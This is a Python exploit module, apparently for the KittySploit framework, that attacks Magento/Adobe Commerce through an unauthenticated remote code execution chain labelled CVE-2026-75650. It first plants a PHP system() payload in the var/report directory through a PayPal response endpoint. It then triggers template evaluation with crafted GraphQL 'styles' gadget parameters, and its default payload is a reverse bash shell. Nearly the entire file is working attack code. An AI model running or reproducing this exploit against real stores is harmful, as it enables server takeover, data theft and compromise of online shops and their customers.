Magento StyleSmuggler Unauthenticated RCE (CVE-2026-75650)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Magento / Adobe Commerce StyleSmuggler unauthenticated RCE (CVE-2026-75650)."""

from __future__ import annotations

import hashlib
import re
import secrets
from typing import List, Optional
from urllib.parse import quote

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Magento StyleSmuggler Unauthenticated RCE (CVE-2026-75650)",
        "description": (
            "Exploits CVE-2026-75650 (StyleSmuggler) via a two-stage unauthenticated chain: "
            "poison var/report through /paypal/transparent/response/, then trigger template "
            "evaluation through /graphql styles[] gadget parameters (no email delivery required)."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-75650"],
        "arch": [Arch.CMD],
        "platform": Platform.MULTI,
        "payload": {
            "default": "payloads/singles/cmd/unix/reverse_bash",
            "platform": [Platform.UNIX, Platform.LINUX, Platform.MULTI],
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-75650",
            "https://sansec.io/research/stylesmuggler-0day",
        ],
        "tags": [
            "magento",
            "adobe-commerce",
            "graphql",
            "template-injection",
            "unauthenticated",
            "rce",
            "cve-2026-75650",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "requires": {
                "tech_hints_any": ["magento"],
                "endpoint_pattern_any": ["/graphql", "/paypal/"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "styles gadget chain"},
                ],
                "suggested_followups": [
                    "scanner/http/magento_cve_2026_75650_detect",
                ],
            },
        },
    }

    command = OptString("", "Command to run instead of the selected payload", False)
    verify_cmd = OptString("id", "Command for proof mode when no handler is used", False)

    @staticmethod
    def _report_hashes(query: str) -> List[str]:
        raw = query.lstrip("?")
        candidates = [
            hashlib.sha256(raw.encode()).hexdigest(),
            hashlib.sha256(query.encode()).hexdigest(),
            hashlib.sha256(f"/paypal/transparent/response/?{raw}".encode()).hexdigest(),
        ]
        seen = set()
        ordered: List[str] = []
        for item in candidates:
            if item not in seen:
                seen.add(item)
                ordered.append(item)
        return ordered

    def _stage1_php(self, marker: str, command: str) -> str:
        if command:
            encoded = command.replace("'", "\\'")
            body = f"<?php system('{encoded}'); echo 'MGPROOF::{marker}'; ?>"
        else:
            body = f"<?php echo 'MGPROOF::{marker}'; ?>"
        return body

    def _stage1(self, php_body: str) -> List[str]:
        query = quote(php_body, safe="")
        path = f"/paypal/transparent/response/?{query}"
        self.http_request(method="POST", path=path, allow_redirects=False)
        return self._report_hashes(f"?{query}")

    def _stage2_path(self, report_hash: str) -> str:
        return (
            "/graphql?"
            f"styles[first]=../var/report/{report_hash}"
            "&styles[generatorClass]=Aws\\S3\\S3Client"
            "&styles[region]=us-east-1"
            "&styles[second]=Magento\\Framework\\DataObject"
            "&styles[version]=latest"
            "&styles[with_resolved][0][_i_]=Magento\\Setup\\Module\\Di\\Code\\Scanner\\ArrayScanner"
            "&styles[with_resolved][0][instance]=Magento\\Setup\\Module\\Di\\Code\\Scanner\\ArrayScanner"
            "&styles[with_resolved][1]=collectEntities"
            "&text={{block class=Magento\\Backend\\Block\\Widget\\Grid\\ColumnSet rowUrl=$this.template_styles}}"
            "&type=2"
        )

    def _stage2_trigger(self, report_hash: str) -> Optional[str]:
        response = self.http_request(
            method="POST",
            path=self._stage2_path(report_hash),
            allow_redirects=False,
        )
        if not response:
            return None
        return response.text or ""

    def run(self):
        marker = secrets.token_hex(6)
        command = str(self.command or "").strip() or str(self.verify_cmd or "id")

        php_body = self._stage1_php(marker, command)
        hashes = self._stage1(php_body)

        for report_hash in hashes:
            body = self._stage2_trigger(report_hash) or ""
            if f"MGPROOF::{marker}" in body:
                self.set_info(
                    severity="critical",
                    reason="StyleSmuggler chain executed (MGPROOF marker observed)",
                    report_hash=report_hash,
                )
                return True
            if command and re.search(r"uid=\d+\(", body):
                self.set_info(
                    severity="critical",
                    reason="StyleSmuggler command output observed in GraphQL response",
                    report_hash=report_hash,
                )
                return True

        print_error("StyleSmuggler chain did not return execution evidence")
        return False